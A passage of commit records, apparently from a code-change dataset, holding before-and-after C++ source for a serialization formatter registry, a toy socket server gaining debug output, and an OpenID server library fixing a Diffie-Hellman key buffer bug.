arch_reg_guard;\n\n\tfmaster() {}\n\tfmaster(const fmaster& rhs) : fmt_storage(rhs.fmt_storage) {}\n\tfmaster(fmaster&& rhs) : fmt_storage(std::move(rhs.fmt_storage)) {}\n\n\tstatic auto self() -> fmaster& {\n\t\tstatic fmaster& self = []() -> fmaster& {\n\t\t\t\/\/ generate random key\n\t\t\tauto& kstorage = kernel::idx_key_storage(to_string(gen_uuid()));\n\t\t\tauto r = kstorage.insert_element(0, fmaster());\n\t\t\tif(!r.first) throw error(\"Failed to make impl of object formatters in kernel storage!\");\n\t\t\treturn *r.first;\n\t\t}();\n\n\t\treturn self;\n\t}\n\n\tauto install_formatter(const type_descriptor& obj_type, object_formatter&& of) -> bool {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\treturn fmt_storage[obj_type.name].insert(std::move(of)).second;\n\t}\n\n\tauto uninstall_formatter(std::string_view obj_type_id, std::string fmt_name) -> bool {\n\t\t\/\/ deny removing fallback binary formatter\n\t\tif(fmt_name == detail::bin_fmt_name) return false;\n\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end()) {\n\t\t\tauto& fmt_set = fmts->second;\n\t\t\tif(auto pfmt = fmt_set.find(fmt_name); pfmt != fmt_set.end()) {\n\t\t\t\t\/\/ erase format\n\t\t\t\tfmt_set.erase(pfmt);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tauto formatter_installed(std::string_view obj_type_id, std::string_view fmt_name) -> bool {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end())\n\t\t\treturn fmts->second.find(fmt_name) != fmts->second.end();\n\t\treturn false;\n\t}\n\n\tauto list_installed_formatters(std::string_view obj_type_id) -> std::vector<std::string> {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tauto res = std::vector<std::string>{};\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end()) {\n\t\t\tres.reserve(fmts->second.size());\n\t\t\tfor(const auto& f : fmts->second)\n\t\t\t\tres.emplace_back(f.name);\n\t\t}\n\t\treturn res;\n\t}\n\n\tauto get_formatter(std::string_view obj_type_id, std::string_view fmt_name) -> object_formatter* {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end()) {\n\t\t\tauto& fmt_set = fmts->second;\n\t\t\tif(auto pfmt = fmt_set.find(fmt_name); pfmt != fmt_set.end())\n\t\t\t\treturn &const_cast<object_formatter&>(*pfmt);\n\t\t}\n\t\treturn nullptr;\n\t}\n\n\tauto register_formatter(const objbase& obj, const object_formatter* obj_fmt) -> void {\n\t\tauto solo = std::lock_guard{ reg_guard };\n\t\tregistry[&obj] = obj_fmt;\n\t}\n\n\tauto deregister_formatter(const objbase& obj) -> void {\n\t\tauto solo = std::lock_guard{ reg_guard };\n\t\tregistry.erase(&obj);\n\t}\n\n\tauto get_obj_formatter(const objbase* obj) -> const object_formatter* {\n\t\tauto solo = std::lock_guard{ reg_guard };\n\t\tif(auto r = registry.find(obj); r != registry.end())\n\t\t\treturn r->second;\n\t\treturn nullptr;\n\t}\n\n\tauto register_archive(const object_formatter* frm, void* archive) -> void {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tarchive_registry.emplace(frm, archive);\n\t}\n\n\tauto deregister_archive(const object_formatter* frm) -> void {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tarchive_registry.erase(frm);\n\t}\n\n\tauto deregister_archive(const object_formatter* frm, void* archive) -> void {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tfor(auto [a, b] = archive_registry.equal_range(frm); a != b; ++a) {\n\t\t\tif(a->second == archive) {\n\t\t\t\tarchive_registry.erase(a);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tauto contains_archive(const object_formatter* frm, void* archive) -> bool {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tfor(auto [a, b] = archive_registry.equal_range(frm); a != b; ++a) {\n\t\t\tif(a->second == archive)\n\t\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n};\n\nNAMESPACE_END()\n\n\/*-----------------------------------------------------------------------------\n * Formatters manip public API\n *-----------------------------------------------------------------------------*\/\n#define FM fmaster::self()\n\nauto install_formatter(const type_descriptor& obj_type, object_formatter of) -> bool {\n\treturn FM.install_formatter(obj_type, std::move(of));\n}\n\nauto uninstall_formatter(std::string_view obj_type_id, std::string fmt_name) -> bool {\n\treturn FM.uninstall_formatter(obj_type_id, std::move(fmt_name));\n}\n\nauto formatter_installed(std::string_view obj_type_id, std::string_view fmt_name) -> bool {\n\treturn FM.formatter_installed(obj_type_id, fmt_name);\n}\n\nauto list_installed_formatters(std::string_view obj_type_id) -> std::vector<std::string> {\n\treturn FM.list_installed_formatters(obj_type_id);\n}\n\nauto get_formatter(std::string_view obj_type_id, std::string_view fmt_name) -> object_formatter* {\n\treturn FM.get_formatter(obj_type_id, fmt_name);\n}\n\nauto get_obj_formatter(const objbase* obj) -> const object_formatter* {\n\treturn FM.get_obj_formatter(obj);\n}\n\n\/*-----------------------------------------------------------------------------\n * object_formatter\n *-----------------------------------------------------------------------------*\/\nobject_formatter::object_formatter(\n\tstd::string fmt_name, object_saver_fn saver, object_loader_fn loader, bool stores_node_\n) : base_t{std::move(saver), std::move(loader)}, name(std::move(fmt_name)), stores_node(stores_node_)\n{}\n\n\/\/ compare formatters by name\nauto operator<(const object_formatter& lhs, const object_formatter& rhs) {\n\treturn lhs.name < rhs.name;\n}\n\/\/ ... and with arbitrary string key\nauto operator<(const object_formatter& lhs, std::string_view rhs) {\n\treturn lhs.name < rhs;\n}\nauto operator<(std::string_view lhs, const object_formatter& rhs) {\n\treturn lhs < rhs.name;\n}\n\nauto object_formatter::save(const objbase& obj, std::string obj_fname) noexcept -> error {\n\t\/\/ if obj has empty payload, skip save\n\tif(obj.empty_payload()) return tree::Error::EmptyData;\n\n\tconst auto finally = scope_guard{[&] { error::eval_safe([&] { FM.deregister_formatter(obj); }); }};\n\treturn error::eval_safe([&] {\n\t\tFM.register_formatter(obj, this);\n\t\tfirst(*this, obj, std::move(obj_fname), name);\n\t});\n}\n\nauto object_formatter::load(objbase& obj, std::string obj_fname) noexcept -> error {\n\tconst auto finally = scope_guard{[&] { error::eval_safe([&] { FM.deregister_formatter(obj); }); }};\n\treturn error::eval_safe([&] {\n\t\tFM.register_formatter(obj, this);\n\t\tsecond(*this, obj, std::move(obj_fname), name);\n\t});\n}\n\nauto object_formatter::bind_archive(void* archive) const -> void {\n\tFM.register_archive(this, archive);\n}\n\nauto object_formatter::unbind_archive(void* archive) const -> void {\n\tFM.deregister_archive(this, archive);\n}\n\nauto object_formatter::unbind_archive() const -> void {\n\tFM.deregister_archive(this);\n}\n\nauto object_formatter::is_archive_binded(void* archive) const -> bool {\n\treturn FM.contains_archive(this, archive);\n}\n\nNAMESPACE_END(blue_sky)\n<commit_msg>serial\/objformatter: fix loud EmptyData from object_formatter::save()<commit_after>\/\/\/ @author uentity\n\/\/\/ @date 01.07.2019\n\/\/\/ @copyright\n\/\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/\n\n#include <bs\/serialize\/object_formatter.h>\n#include <bs\/objbase.h>\n#include <bs\/kernel\/misc.h>\n#include <bs\/uuid.h>\n\n#include <map>\n#include <unordered_map>\n#include <set>\n#include <mutex>\n\nNAMESPACE_BEGIN(blue_sky)\nNAMESPACE_BEGIN()\n\n\/*-----------------------------------------------------------------------------\n * Formatters manip impl\n *-----------------------------------------------------------------------------*\/\nstruct fmaster {\n\t\/\/ obj_type_id -> set of unique object_formatter instances sorted by name\n\t\/\/ [NOTE] type_id is stored as string view!\n\tusing fmt_storage_t = std::map< std::string_view, std::set<object_formatter, std::less<>>, std::less<> >;\n\tfmt_storage_t fmt_storage;\n\n\tusing registry_t = std::unordered_map<const objbase*, const object_formatter*>;\n\tregistry_t registry;\n\n\tusing archive_registry_t = std::unordered_multimap<const object_formatter*, void*>;\n\tarchive_registry_t archive_registry;\n\n\t\/\/ sync access to data above\n\tstd::mutex fmt_guard, reg_guard, arch_reg_guard;\n\n\tfmaster() {}\n\tfmaster(const fmaster& rhs) : fmt_storage(rhs.fmt_storage) {}\n\tfmaster(fmaster&& rhs) : fmt_storage(std::move(rhs.fmt_storage)) {}\n\n\tstatic auto self() -> fmaster& {\n\t\tstatic fmaster& self = []() -> fmaster& {\n\t\t\t\/\/ generate random key\n\t\t\tauto& kstorage = kernel::idx_key_storage(to_string(gen_uuid()));\n\t\t\tauto r = kstorage.insert_element(0, fmaster());\n\t\t\tif(!r.first) throw error(\"Failed to make impl of object formatters in kernel storage!\");\n\t\t\treturn *r.first;\n\t\t}();\n\n\t\treturn self;\n\t}\n\n\tauto install_formatter(const type_descriptor& obj_type, object_formatter&& of) -> bool {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\treturn fmt_storage[obj_type.name].insert(std::move(of)).second;\n\t}\n\n\tauto uninstall_formatter(std::string_view obj_type_id, std::string fmt_name) -> bool {\n\t\t\/\/ deny removing fallback binary formatter\n\t\tif(fmt_name == detail::bin_fmt_name) return false;\n\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end()) {\n\t\t\tauto& fmt_set = fmts->second;\n\t\t\tif(auto pfmt = fmt_set.find(fmt_name); pfmt != fmt_set.end()) {\n\t\t\t\t\/\/ erase format\n\t\t\t\tfmt_set.erase(pfmt);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tauto formatter_installed(std::string_view obj_type_id, std::string_view fmt_name) -> bool {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end())\n\t\t\treturn fmts->second.find(fmt_name) != fmts->second.end();\n\t\treturn false;\n\t}\n\n\tauto list_installed_formatters(std::string_view obj_type_id) -> std::vector<std::string> {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tauto res = std::vector<std::string>{};\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end()) {\n\t\t\tres.reserve(fmts->second.size());\n\t\t\tfor(const auto& f : fmts->second)\n\t\t\t\tres.emplace_back(f.name);\n\t\t}\n\t\treturn res;\n\t}\n\n\tauto get_formatter(std::string_view obj_type_id, std::string_view fmt_name) -> object_formatter* {\n\t\tauto solo = std::lock_guard{ fmt_guard };\n\t\tif(auto fmts = fmt_storage.find(obj_type_id); fmts != fmt_storage.end()) {\n\t\t\tauto& fmt_set = fmts->second;\n\t\t\tif(auto pfmt = fmt_set.find(fmt_name); pfmt != fmt_set.end())\n\t\t\t\treturn &const_cast<object_formatter&>(*pfmt);\n\t\t}\n\t\treturn nullptr;\n\t}\n\n\tauto register_formatter(const objbase& obj, const object_formatter* obj_fmt) -> void {\n\t\tauto solo = std::lock_guard{ reg_guard };\n\t\tregistry[&obj] = obj_fmt;\n\t}\n\n\tauto deregister_formatter(const objbase& obj) -> void {\n\t\tauto solo = std::lock_guard{ reg_guard };\n\t\tregistry.erase(&obj);\n\t}\n\n\tauto get_obj_formatter(const objbase* obj) -> const object_formatter* {\n\t\tauto solo = std::lock_guard{ reg_guard };\n\t\tif(auto r = registry.find(obj); r != registry.end())\n\t\t\treturn r->second;\n\t\treturn nullptr;\n\t}\n\n\tauto register_archive(const object_formatter* frm, void* archive) -> void {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tarchive_registry.emplace(frm, archive);\n\t}\n\n\tauto deregister_archive(const object_formatter* frm) -> void {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tarchive_registry.erase(frm);\n\t}\n\n\tauto deregister_archive(const object_formatter* frm, void* archive) -> void {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tfor(auto [a, b] = archive_registry.equal_range(frm); a != b; ++a) {\n\t\t\tif(a->second == archive) {\n\t\t\t\tarchive_registry.erase(a);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tauto contains_archive(const object_formatter* frm, void* archive) -> bool {\n\t\tauto solo = std::lock_guard{ arch_reg_guard };\n\t\tfor(auto [a, b] = archive_registry.equal_range(frm); a != b; ++a) {\n\t\t\tif(a->second == archive)\n\t\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n};\n\nNAMESPACE_END()\n\n\/*-----------------------------------------------------------------------------\n * Formatters manip public API\n *-----------------------------------------------------------------------------*\/\n#define FM fmaster::self()\n\nauto install_formatter(const type_descriptor& obj_type, object_formatter of) -> bool {\n\treturn FM.install_formatter(obj_type, std::move(of));\n}\n\nauto uninstall_formatter(std::string_view obj_type_id, std::string fmt_name) -> bool {\n\treturn FM.uninstall_formatter(obj_type_id, std::move(fmt_name));\n}\n\nauto formatter_installed(std::string_view obj_type_id, std::string_view fmt_name) -> bool {\n\treturn FM.formatter_installed(obj_type_id, fmt_name);\n}\n\nauto list_installed_formatters(std::string_view obj_type_id) -> std::vector<std::string> {\n\treturn FM.list_installed_formatters(obj_type_id);\n}\n\nauto get_formatter(std::string_view obj_type_id, std::string_view fmt_name) -> object_formatter* {\n\treturn FM.get_formatter(obj_type_id, fmt_name);\n}\n\nauto get_obj_formatter(const objbase* obj) -> const object_formatter* {\n\treturn FM.get_obj_formatter(obj);\n}\n\n\/*-----------------------------------------------------------------------------\n * object_formatter\n *-----------------------------------------------------------------------------*\/\nobject_formatter::object_formatter(\n\tstd::string fmt_name, object_saver_fn saver, object_loader_fn loader, bool stores_node_\n) : base_t{std::move(saver), std::move(loader)}, name(std::move(fmt_name)), stores_node(stores_node_)\n{}\n\n\/\/ compare formatters by name\nauto operator<(const object_formatter& lhs, const object_formatter& rhs) {\n\treturn lhs.name < rhs.name;\n}\n\/\/ ... and with arbitrary string key\nauto operator<(const object_formatter& lhs, std::string_view rhs) {\n\treturn lhs.name < rhs;\n}\nauto operator<(std::string_view lhs, const object_formatter& rhs) {\n\treturn lhs < rhs.name;\n}\n\nauto object_formatter::save(const objbase& obj, std::string obj_fname) noexcept -> error {\n\t\/\/ if obj has empty payload, skip save\n\tif(obj.empty_payload()) return error::quiet(tree::Error::EmptyData);\n\n\tconst auto finally = scope_guard{[&] { error::eval_safe([&] { FM.deregister_formatter(obj); }); }};\n\treturn error::eval_safe([&] {\n\t\tFM.register_formatter(obj, this);\n\t\tfirst(*this, obj, std::move(obj_fname), name);\n\t});\n}\n\nauto object_formatter::load(objbase& obj, std::string obj_fname) noexcept -> error {\n\tconst auto finally = scope_guard{[&] { error::eval_safe([&] { FM.deregister_formatter(obj); }); }};\n\treturn error::eval_safe([&] {\n\t\tFM.register_formatter(obj, this);\n\t\tsecond(*this, obj, std::move(obj_fname), name);\n\t});\n}\n\nauto object_formatter::bind_archive(void* archive) const -> void {\n\tFM.register_archive(this, archive);\n}\n\nauto object_formatter::unbind_archive(void* archive) const -> void {\n\tFM.deregister_archive(this, archive);\n}\n\nauto object_formatter::unbind_archive() const -> void {\n\tFM.deregister_archive(this);\n}\n\nauto object_formatter::is_archive_binded(void* archive) const -> bool {\n\treturn FM.contains_archive(this, archive);\n}\n\nNAMESPACE_END(blue_sky)\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include \"net\/genecis_server.h\"\n\nusing namespace std ;\n\nint main() {\n\t\n\tcout << \"server running...\" << endl ;\n\t\n\/\/\ttry{\n\t\tint port = 45000 ;\n\t\tgenecis_server server( port ) ;\n\t\t\n\t\twhile( true ) {\n\t\t\tgenecis_server new_sock ;\n\t\t\tserver.accept( new_sock ) ;\n\/\/\t\t\ttry{\n\t\t\t\twhile( true ) {\n\t\t\t\t\tstring data ;\n\t\t\t\t\tnew_sock >> data ;\n\t\t\t\t\tdata = \"How are you doing today?\" ;\n\t\t\t\t\tnew_sock << data ;\n\t\t\t\t}\n\/\/\t\t\t} catch (int) {}\n\t\t}\n\/\/\t} catch (int) {}\n\t\n\tcout << \"server shutdown\" << endl ;\n}\n<commit_msg>Added couts for debugging.<commit_after>#include <iostream>\n#include \"net\/genecis_server.h\"\n\nusing namespace std ;\n\nint main() {\n\t\n\tcout << \"server running...\" << endl ;\n\t\n\/\/\ttry{\n\t\tint port = 45000 ;\n\t\tgenecis_server server( port ) ;\n\t\t\n\t\twhile( true ) {\n\t\t\tcout << \"waiting for response from client...\" << endl ;\n\t\t\tgenecis_server new_sock ;\n\t\t\tserver.accept( new_sock ) ;\n\/\/\t\t\ttry{\n\t\t\t\twhile( true ) {\n\t\t\t\t\tcout << \"Client intialized...\" << endl ;\n\t\t\t\t\tstring data ;\n\t\t\t\t\tnew_sock >> data ;\n\t\t\t\t\tdata = \"How are you doing today?\" ;\n\t\t\t\t\tnew_sock << data ;\n\t\t\t\t}\n\/\/\t\t\t} catch (int) {}\n\t\t}\n\/\/\t} catch (int) {}\n\t\n\tcout << \"server shutdown\" << endl ;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include <openssl\/sha.h>\n#include <openssl\/hmac.h>\n#include <opkele\/util.h>\n#include <opkele\/exception.h>\n#include <opkele\/server.h>\n#include <opkele\/data.h>\n\nnamespace opkele {\n using namespace std;\n\n void server_t::associate(const params_t& pin,params_t& pout) {\n\tutil::dh_t dh;\n\tutil::bignum_t c_pub;\n\tunsigned char key_sha1[SHA_DIGEST_LENGTH];\n\tenum {\n\t sess_cleartext,\n\t sess_dh_sha1\n\t} st = sess_cleartext;\n\tif(\n\t\tpin.has_param(\"openid.session_type\")\n\t\t&& pin.get_param(\"openid.session_type\")==\"DH-SHA1\" ) {\n\t \/* TODO: fallback to cleartext in case of exceptions here? *\/\n\t if(!(dh = DH_new()))\n\t\tthrow exception_openssl(OPKELE_CP_ \"failed to DH_new()\");\n\t c_pub = util::base64_to_bignum(pin.get_param(\"openid.dh_consumer_public\"));\n\t if(pin.has_param(\"openid.dh_modulus\"))\n\t\tdh->p = util::base64_to_bignum(pin.get_param(\"openid.dh_modulus\"));\n\t else\n\t\tdh->p = util::dec_to_bignum(data::_default_p);\n\t if(pin.has_param(\"openid.dh_gen\"))\n\t\tdh->g = util::base64_to_bignum(pin.get_param(\"openid.dh_gen\"));\n\t else\n\t\tdh->g = util::dec_to_bignum(data::_default_g);\n\t if(!DH_generate_key(dh))\n\t\tthrow exception_openssl(OPKELE_CP_ \"failed to DH_generate_key()\");\n\t vector<unsigned char> ck(DH_size(dh)+1);\n\t unsigned char *ckptr = &(ck.front())+1;\n\t int cklen = DH_compute_key(&(ck.front()),c_pub,dh);\n\t if(cklen<0)\n\t\tthrow exception_openssl(OPKELE_CP_ \"failed to DH_compute_key()\");\n\t if(cklen && (*ckptr)&0x80) {\n\t\t(*(--ckptr)) = 0; ++cklen;\n\t }\n\t SHA1(ckptr,cklen,key_sha1);\n\t st = sess_dh_sha1;\n\t}\n\tassoc_t assoc = alloc_assoc(mode_associate);\n\ttime_t now = time(0);\n\tpout.clear();\n\tpout[\"assoc_type\"] = assoc->assoc_type();\n\tpout[\"assoc_handle\"] = assoc->handle();\n\t\/* TODO: eventually remove deprecated stuff *\/\n\tpout[\"issued\"] = util::time_to_w3c(now);\n\tpout[\"expiry\"] = util::time_to_w3c(now+assoc->expires_in());\n\tpout[\"expires_in\"] = util::long_to_string(assoc->expires_in());\n\tsecret_t secret = assoc->secret();\n\tswitch(st) {\n\t case sess_dh_sha1:\n\t\tpout[\"session_type\"] = \"DH-SHA1\";\n\t\tpout[\"dh_server_public\"] = util::bignum_to_base64(dh->pub_key);\n\t\tsecret.enxor_to_base64(key_sha1,pout[\"enc_mac_key\"]);\n\t\tbreak;\n\t default:\n\t\tsecret.to_base64(pout[\"mac_key\"]);\n\t\tbreak;\n\t}\n }\n\n void server_t::checkid_immediate(const params_t& pin,string& return_to,params_t& pout,extension_t *ext) {\n\tcheckid_(mode_checkid_immediate,pin,return_to,pout,ext);\n }\n\n void server_t::checkid_setup(const params_t& pin,string& return_to,params_t& pout,extension_t *ext) {\n\tcheckid_(mode_checkid_setup,pin,return_to,pout,ext);\n }\n\n void server_t::checkid_(mode_t mode,const params_t& pin,string& return_to,params_t& pout,extension_t *ext) {\n\tif(mode!=mode_checkid_immediate && mode!=mode_checkid_setup)\n\t throw bad_input(OPKELE_CP_ \"invalid checkid_* mode\");\n\tpout.clear();\n\tassoc_t assoc;\n\ttry {\n\t assoc = retrieve_assoc(pin.get_param(\"openid.assoc_handle\"));\n\t}catch(failed_lookup& fl) {\n\t \/\/ no handle specified or no valid handle found, going dumb\n\t assoc = alloc_assoc(mode_checkid_setup);\n\t if(pin.has_param(\"openid.assoc_handle\"))\n\t\tpout[\"invalidate_handle\"]=pin.get_param(\"openid.assoc_handle\");\n\t}\n\tstring trust_root;\n\ttry {\n\t trust_root = pin.get_param(\"openid.trust_root\");\n\t}catch(failed_lookup& fl) { }\n\tstring identity = pin.get_param(\"openid.identity\");\n\treturn_to = pin.get_param(\"openid.return_to\");\n\tvalidate(*assoc,pin,identity,trust_root);\n\tpout[\"mode\"] = \"id_res\";\n\tpout[\"assoc_handle\"] = assoc->handle();\n\tif(pin.has_param(\"openid.assoc_handle\") && assoc->stateless())\n\t pout[\"invalidate_handle\"] = pin.get_param(\"openid.assoc_handle\");\n\tpout[\"identity\"] = identity;\n\tpout[\"return_to\"] = return_to;\n\t\/* TODO: eventually remove deprecated stuff *\/\n\ttime_t now = time(0);\n\tpout[\"issued\"] = util::time_to_w3c(now);\n\tpout[\"valid_to\"] = util::time_to_w3c(now+120);\n\tpout[\"exipres_in\"] = \"120\";\n\tpout[\"signed\"]=\"mode,identity,return_to\";\n\tif(ext) ext->checkid_hook(pin,pout);\n\tpout.sign(assoc->secret(),pout[\"sig\"],pout[\"signed\"]);\n }\n\n void server_t::check_authentication(const params_t& pin,params_t& pout) {\n\tvector<unsigned char> sig;\n\tconst string& sigenc = pin.get_param(\"openid.sig\");\n\tutil::decode_base64(sigenc,sig);\n\tassoc_t assoc;\n\ttry {\n\t assoc = retrieve_assoc(pin.get_param(\"openid.assoc_handle\"));\n\t}catch(failed_lookup& fl) {\n\t throw failed_assertion(OPKELE_CP_ \"invalid handle or handle not specified\");\n\t}\n\tif(!assoc->stateless())\n\t throw stateful_handle(OPKELE_CP_ \"will not do check_authentication on a stateful handle\");\n\tconst string& slist = pin.get_param(\"openid.signed\");\n\tstring kv;\n\tstring::size_type p =0;\n\twhile(true) {\n\t string::size_type co = slist.find(',',p);\n\t string f = (co==string::npos)?slist.substr(p):slist.substr(p,co-p);\n\t kv += f;\n\t kv += ':';\n\t if(f==\"mode\")\n\t\tkv += \"id_res\";\n\t else {\n\t\tf.insert(0,\"openid.\");\n\t\tkv += pin.get_param(f);\n\t }\n\t kv += '\\n';\n\t if(co==string::npos)\n\t\tbreak;\n\t p = co+1;\n\t}\n\tsecret_t secret = assoc->secret();\n\tunsigned int md_len = 0;\n\tunsigned char *md = HMAC(\n\t\tEVP_sha1(),\n\t\t&(secret.front()),secret.size(),\n\t\t(const unsigned char *)kv.data(),kv.length(),\n\t\t0,&md_len);\n\tpout.clear();\n\tif(sig.size()==md_len && !memcmp(&(sig.front()),md,md_len)) {\n\t pout[\"is_valid\"]=\"true\";\n\t pout[\"lifetime\"]=\"60\"; \/* TODO: eventually remove deprecated stuff *\/\n\t}else{\n\t pout[\"is_valid\"]=\"false\";\n\t pout[\"lifetime\"]=\"0\"; \/* TODO: eventually remove deprecated stuff *\/\n\t}\n\tif(pin.has_param(\"openid.invalidate_handle\")) {\n\t string h = pin.get_param(\"openid.invalidate_handle\");\n\t try {\n\t\tassoc_t assoc = retrieve_assoc(h);\n\t }catch(invalid_handle& ih) {\n\t\tpout[\"invalidate_handle\"] = h;\n\t }catch(failed_lookup& fl) { }\n\t}\n }\n\n}\n<commit_msg>yet another signature bugfix<commit_after>#include <vector>\n#include <openssl\/sha.h>\n#include <openssl\/hmac.h>\n#include <opkele\/util.h>\n#include <opkele\/exception.h>\n#include <opkele\/server.h>\n#include <opkele\/data.h>\n\nnamespace opkele {\n using namespace std;\n\n void server_t::associate(const params_t& pin,params_t& pout) {\n\tutil::dh_t dh;\n\tutil::bignum_t c_pub;\n\tunsigned char key_sha1[SHA_DIGEST_LENGTH];\n\tenum {\n\t sess_cleartext,\n\t sess_dh_sha1\n\t} st = sess_cleartext;\n\tif(\n\t\tpin.has_param(\"openid.session_type\")\n\t\t&& pin.get_param(\"openid.session_type\")==\"DH-SHA1\" ) {\n\t \/* TODO: fallback to cleartext in case of exceptions here? *\/\n\t if(!(dh = DH_new()))\n\t\tthrow exception_openssl(OPKELE_CP_ \"failed to DH_new()\");\n\t c_pub = util::base64_to_bignum(pin.get_param(\"openid.dh_consumer_public\"));\n\t if(pin.has_param(\"openid.dh_modulus\"))\n\t\tdh->p = util::base64_to_bignum(pin.get_param(\"openid.dh_modulus\"));\n\t else\n\t\tdh->p = util::dec_to_bignum(data::_default_p);\n\t if(pin.has_param(\"openid.dh_gen\"))\n\t\tdh->g = util::base64_to_bignum(pin.get_param(\"openid.dh_gen\"));\n\t else\n\t\tdh->g = util::dec_to_bignum(data::_default_g);\n\t if(!DH_generate_key(dh))\n\t\tthrow exception_openssl(OPKELE_CP_ \"failed to DH_generate_key()\");\n\t vector<unsigned char> ck(DH_size(dh)+1);\n\t unsigned char *ckptr = &(ck.front())+1;\n\t int cklen = DH_compute_key(ckptr,c_pub,dh);\n\t if(cklen<0)\n\t\tthrow exception_openssl(OPKELE_CP_ \"failed to DH_compute_key()\");\n\t if(cklen && (*ckptr)&0x80) {\n\t\t(*(--ckptr)) = 0; ++cklen;\n\t }\n\t SHA1(ckptr,cklen,key_sha1);\n\t st = sess_dh_sha1;\n\t}\n\tassoc_t assoc = alloc_assoc(mode_associate);\n\ttime_t now = time(0);\n\tpout.clear();\n\tpout[\"assoc_type\"] = assoc->assoc_type();\n\tpout[\"assoc_handle\"] = assoc->handle();\n\t\/* TODO: eventually remove deprecated stuff *\/\n\tpout[\"issued\"] = util::time_to_w3c(now);\n\tpout[\"expiry\"] = util::time_to_w3c(now+assoc->expires_in());\n\tpout[\"expires_in\"] = util::long_to_string(assoc->expires_in());\n\tsecret_t secret = assoc->secret();\n\tswitch(st) {\n\t case sess_dh_sha1:\n\t\tpout[\"session_type\"] = \"DH-SHA1\";\n\t\tpout[\"dh_server_public\"] = util::bignum_to_base64(dh->pub_key);\n\t\tsecret.enxor_to_base64(key_sha1,pout[\"enc_mac_key\"]);\n\t\tbreak;\n\t default:\n\t\tsecret.to_base64(pout[\"mac_key\"]);\n\t\tbreak;\n\t}\n }\n\n void server_t::checkid_immediate(const params_t& pin,string& return_to,params_t& pout,extension_t *ext) {\n\tcheckid_(mode_checkid_immediate,pin,return_to,pout,ext);\n }\n\n void server_t::checkid_setup(const params_t& pin,string& return_to,params_t& pout,extension_t *ext) {\n\tcheckid_(mode_checkid_setup,pin,return_to,pout,ext);\n }\n\n void server_t::checkid_(mode_t mode,const params_t& pin,string& return_to,params_t& pout,extension_t *ext) {\n\tif(mode!=mode_checkid_immediate && mode!=mode_checkid_setup)\n\t throw bad_input(OPKELE_CP_ \"invalid checkid_* mode\");\n\tpout.clear();\n\tassoc_t assoc;\n\ttry {\n\t assoc = retrieve_assoc(pin.get_param(\"openid.assoc_handle\"));\n\t}catch(failed_lookup& fl) {\n\t \/\/ no handle specified or no valid handle found, going dumb\n\t assoc = alloc_assoc(mode_checkid_setup);\n\t if(pin.has_param(\"openid.assoc_handle\"))\n\t\tpout[\"invalidate_handle\"]=pin.get_param(\"openid.assoc_handle\");\n\t}\n\tstring trust_root;\n\ttry {\n\t trust_root = pin.get_param(\"openid.trust_root\");\n\t}catch(failed_lookup& fl) { }\n\tstring identity = pin.get_param(\"openid.identity\");\n\treturn_to = pin.get_param(\"openid.return_to\");\n\tvalidate(*assoc,pin,identity,trust_root);\n\tpout[\"mode\"] = \"id_res\";\n\tpout[\"assoc_handle\"] = assoc->handle();\n\tif(pin.has_param(\"openid.assoc_handle\") && assoc->stateless())\n\t pout[\"invalidate_handle\"] = pin.get_param(\"openid.assoc_handle\");\n\tpout[\"identity\"] = identity;\n\tpout[\"return_to\"] = return_to;\n\t\/* TODO: eventually remove deprecated stuff *\/\n\ttime_t now = time(0);\n\tpout[\"issued\"] = util::time_to_w3c(now);\n\tpout[\"valid_to\"] = util::time_to_w3c(now+120);\n\tpout[\"exipres_in\"] = \"120\";\n\tpout[\"signed\"]=\"mode,identity,return_to\";\n\tif(ext) ext->checkid_hook(pin,pout);\n\tpout.sign(assoc->secret(),pout[\"sig\"],pout[\"signed\"]);\n }\n\n void server_t::check_authentication(const params_t& pin,params_t& pout) {\n\tvector<unsigned char> sig;\n\tconst string& sigenc = pin.get_param(\"openid.sig\");\n\tutil::decode_base64(sigenc,sig);\n\tassoc_t assoc;\n\ttry {\n\t assoc = retrieve_assoc(pin.get_param(\"openid.assoc_handle\"));\n\t}catch(failed_lookup& fl) {\n\t throw failed_assertion(OPKELE_CP_ \"invalid handle or handle not specified\");\n\t}\n\tif(!assoc->stateless())\n\t throw stateful_handle(OPKELE_CP_ \"will not do check_authentication on a stateful handle\");\n\tconst string& slist = pin.get_param(\"openid.signed\");\n\tstring kv;\n\tstring::size_type p =0;\n\twhile(true) {\n\t string::size_type co = 